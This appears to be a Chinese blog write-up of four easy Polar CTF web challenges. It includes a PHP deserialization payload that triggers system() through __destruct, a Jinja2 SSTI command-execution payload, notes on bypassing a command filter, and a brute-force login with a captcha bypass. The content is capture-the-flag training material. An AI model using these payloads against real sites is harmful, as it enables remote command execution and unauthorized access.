Polar靶场-Web简单题目记录(46-49)

简单的链子

image

漏洞原理

代码定义了一个类 A ,其中包含以下关键逻辑:

  • 类 A 有一个公共属性 $cmd (可被外部修改)。
  • 析构函数 __destruct() 中,若 $cmd 存在,则执行 system($this->cmd) (系统命令执行函数)。
  • 主逻辑通过 @unserialize($_GET['data']) 反序列化用户传入的 data 参数。

漏洞触发条件

   当用户通过 data 参数传入一个 类 A 的序列化对象 时,反序列化过程会重建 A 类的实例,并自动调用 __destruct() 方法,最终执行 $cmd 中的系统命令。

利用方法

需构造一个恶意序列化字符串,步骤如下:

  • 创建 A 类实例 ,设置 $cmd 为目标命令(如 cat /flag 、 ls / 等)。
  • 序列化该实例 ,生成可被 unserialize() 解析的字符串。
  • 将序列化字符串作为 data 参数传入 URL(如 ?data=O:1:"A":1:{s:3:"cmd";s:7:"cat /flag";} )。

payload

<?php
// 定义类 A
class A {
    public $cmd;
    function __destruct() {
        if (isset($this->cmd)) {
            system($this->cmd);
        }
    }
}

// 创建类 A 的对象
$obj = new A();

// 设置 $cmd 属性为要执行的命令
// 注意:这里可以设置为任何你想要执行的命令
// 例如:列出当前目录的内容
$obj->cmd = 'ls /';

// 序列化对象
$serialized = serialize($obj);

// 输出序列化字符串
echo "序列化后的字符串:\n";
echo $serialized;
?>

image

执行payload,?data=O:1:"A":1:{s:3:"cmd";s:4:"ls%20/";},构造成功

image

获取flag ?data=O:1:"A":1:{s:3:"cmd";s:9:"cat%20/flag";}

image

ghost_render

通过查看网站源代码,发现只允许上传md文件

image

上传测试

image

发现执行命令,但是不回显路径,排除文件上传,联想到ssti

image

构造payload

{{ config.__class__.__init__.__globals__['os'].popen('ls /').read() }}

image

发现flag不在根目录,找flag路径

image

获取flag

image

rce命令执行系统

image

通过测试,基本能过滤的都过滤了,env命令未被过滤,但是提示出来的为假flag

image

没有思路,对网站进行扫描,看有没有文件提示,发现flag.txt

image

访问flag.txt

image

根据提示 将txt修改为php,l修改为1,访问查看

image

根据提示,获取XOR_KEY,使得XOR_KEY=Polar可以获取flag
获取flag

image

命运石之门

image

查看题目,为一个登录框,此类题目一般都会在目录下面放password.txt文件,尝试进行目录扫描

image

复制password.txt文件内容,进行爆破账号密码

image

找到密码hunangleiSAMA0712

image

发现还需要进行验证码校验

image

查看网站源代码,发现注释

image

解密获得提示

image

尝试使用万能验证码 0000,进入下一步

image

继续爆破,获取密码huan9le1Sam0

image

获取flag

image

posted @ 2025-07-08 23:27  Ktcc5  阅读(68)  评论(0)    收藏  举报